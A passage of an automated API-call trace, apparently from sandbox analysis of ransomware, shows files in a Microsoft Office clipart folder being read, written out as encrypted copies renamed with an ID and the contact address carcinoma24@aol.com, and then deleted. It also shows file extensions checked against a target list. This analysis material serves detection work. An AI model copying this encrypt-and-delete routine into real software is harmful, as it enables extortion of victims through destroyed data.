nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.462] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.466] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.466] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.467] SetEndOfFile (hFile=0x37c) returned 1 [0305.467] CloseHandle (hObject=0x37c) returned 1 [0305.467] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.467] SetEndOfFile (hFile=0x35c) returned 1 [0305.468] CloseHandle (hObject=0x35c) returned 1 [0305.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0305.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0305.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0305.469] lstrlenW (lpString=".doc") returned 4 [0305.469] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.469] lstrlenW (lpString=".docx") returned 5 [0305.469] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0305.469] lstrlenW (lpString=".pdf") returned 4 [0305.469] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.469] lstrlenW (lpString=".xls") returned 4 [0305.469] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.469] lstrlenW (lpString=".xlsx") returned 5 [0305.469] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0305.470] lstrlenW (lpString=".ppt") returned 4 [0305.470] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0305.470] lstrlenW (lpString=".zip") returned 4 [0305.470] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.470] lstrlenW (lpString=".rar") returned 4 [0305.470] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.470] lstrlenW (lpString=".bz2") returned 4 [0305.470] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.470] lstrlenW (lpString=".7z") returned 3 [0305.470] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0305.470] lstrlenW (lpString=".dbf") returned 4 [0305.470] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0305.470] lstrlenW (lpString=".1cd") returned 4 [0305.470] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0305.470] lstrlenW (lpString=".jpg") returned 4 [0305.470] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.471] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.471] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.472] GetLastError () returned 0x0 [0305.472] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.483] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.484] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.484] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.484] SetEndOfFile (hFile=0x37c) returned 1 [0305.485] CloseHandle (hObject=0x37c) returned 1 [0305.485] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.485] SetEndOfFile (hFile=0x35c) returned 1 [0305.486] CloseHandle (hObject=0x35c) returned 1 [0305.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0305.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0305.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0305.487] lstrlenW (lpString=".doc") returned 4 [0305.487] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.487] lstrlenW (lpString=".docx") returned 5 [0305.487] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0305.487] lstrlenW (lpString=".pdf") returned 4 [0305.487] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.487] lstrlenW (lpString=".xls") returned 4 [0305.487] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.487] lstrlenW (lpString=".xlsx") returned 5 [0305.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0305.487] lstrlenW (lpString=".ppt") returned 4 [0305.487] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0305.487] lstrlenW (lpString=".zip") returned 4 [0305.488] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.488] lstrlenW (lpString=".rar") returned 4 [0305.488] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.488] lstrlenW (lpString=".bz2") returned 4 [0305.488] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.488] lstrlenW (lpString=".7z") returned 3 [0305.488] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0305.488] lstrlenW (lpString=".dbf") returned 4 [0305.488] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0305.488] lstrlenW (lpString=".1cd") returned 4 [0305.488] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0305.488] lstrlenW (lpString=".jpg") returned 4 [0305.488] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.489] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.489] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.490] GetLastError () returned 0x0 [0305.490] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.500] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.503] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.503] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.503] SetEndOfFile (hFile=0x37c) returned 1 [0305.503] CloseHandle (hObject=0x37c) returned 1 [0305.503] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.503] SetEndOfFile (hFile=0x35c) returned 1 [0305.504] CloseHandle (hObject=0x35c) returned 1 [0305.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0305.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0305.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0305.506] lstrlenW (lpString=".doc") returned 4 [0305.506] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString=".docx") returned 5 [0305.506] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0305.506] lstrlenW (lpString=".pdf") returned 4 [0305.506] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString=".xls") returned 4 [0305.506] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString=".xlsx") returned 5 [0305.506] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0305.506] lstrlenW (lpString=".ppt") returned 4 [0305.506] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0305.506] lstrlenW (lpString=".zip") returned 4 [0305.506] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString=".rar") returned 4 [0305.506] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString=".bz2") returned 4 [0305.506] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString=".7z") returned 3 [0305.506] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0305.506] lstrlenW (lpString=".dbf") returned 4 [0305.506] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0305.506] lstrlenW (lpString=".1cd") returned 4 [0305.506] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0305.507] lstrlenW (lpString=".jpg") returned 4 [0305.507] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.507] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.507] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.836] GetLastError () returned 0x0 [0305.836] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0305.860] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0305.862] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.862] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.862] SetEndOfFile (hFile=0x37c) returned 1 [0305.862] CloseHandle (hObject=0x37c) returned 1 [0305.862] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.862] SetEndOfFile (hFile=0x35c) returned 1 [0305.863] CloseHandle (hObject=0x35c) returned 1 [0305.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0305.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0305.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0305.867] lstrlenW (lpString=".doc") returned 4 [0305.867] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.867] lstrlenW (lpString=".docx") returned 5 [0305.867] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0305.867] lstrlenW (lpString=".pdf") returned 4 [0305.867] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.867] lstrlenW (lpString=".xls") returned 4 [0305.867] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.867] lstrlenW (lpString=".xlsx") returned 5 [0305.867] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0305.867] lstrlenW (lpString=".ppt") returned 4 [0305.868] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0305.868] lstrlenW (lpString=".zip") returned 4 [0305.868] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.868] lstrlenW (lpString=".rar") returned 4 [0305.868] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.868] lstrlenW (lpString=".bz2") returned 4 [0305.868] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.868] lstrlenW (lpString=".7z") returned 3 [0305.868] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0305.868] lstrlenW (lpString=".dbf") returned 4 [0305.868] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0305.868] lstrlenW (lpString=".1cd") returned 4 [0305.868] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0305.868] lstrlenW (lpString=".jpg") returned 4 [0305.868] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.872] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.872] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0305.873] GetLastError () returned 0x0 [0305.873] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1714, lpOverlapped=0x0) returned 1 [0305.924] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1720, lpOverlapped=0x0) returned 1 [0305.926] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.926] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.926] SetEndOfFile (hFile=0x338) returned 1 [0305.926] CloseHandle (hObject=0x338) returned 1 [0305.926] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.926] SetEndOfFile (hFile=0x37c) returned 1 [0305.927] CloseHandle (hObject=0x37c) returned 1 [0305.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0305.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0305.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0305.929] lstrlenW (lpString=".doc") returned 4 [0305.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.929] lstrlenW (lpString=".docx") returned 5 [0305.929] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0305.929] lstrlenW (lpString=".pdf") returned 4 [0305.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.929] lstrlenW (lpString=".xls") returned 4 [0305.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.929] lstrlenW (lpString=".xlsx") returned 5 [0305.929] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0305.929] lstrlenW (lpString=".ppt") returned 4 [0305.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0305.929] lstrlenW (lpString=".zip") returned 4 [0305.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.929] lstrlenW (lpString=".rar") returned 4 [0305.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.930] lstrlenW (lpString=".bz2") returned 4 [0305.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.930] lstrlenW (lpString=".7z") returned 3 [0305.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0305.930] lstrlenW (lpString=".dbf") returned 4 [0305.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0305.930] lstrlenW (lpString=".1cd") returned 4 [0305.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0305.930] lstrlenW (lpString=".jpg") returned 4 [0305.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.930] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.930] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0305.932] GetLastError () returned 0x0 [0305.932] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1600, lpOverlapped=0x0) returned 1 [0305.940] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1610, lpOverlapped=0x0) returned 1 [0305.941] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.941] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.941] SetEndOfFile (hFile=0x338) returned 1 [0305.942] CloseHandle (hObject=0x338) returned 1 [0305.942] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.942] SetEndOfFile (hFile=0x37c) returned 1 [0305.943] CloseHandle (hObject=0x37c) returned 1 [0305.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0305.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0305.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0305.944] lstrlenW (lpString=".doc") returned 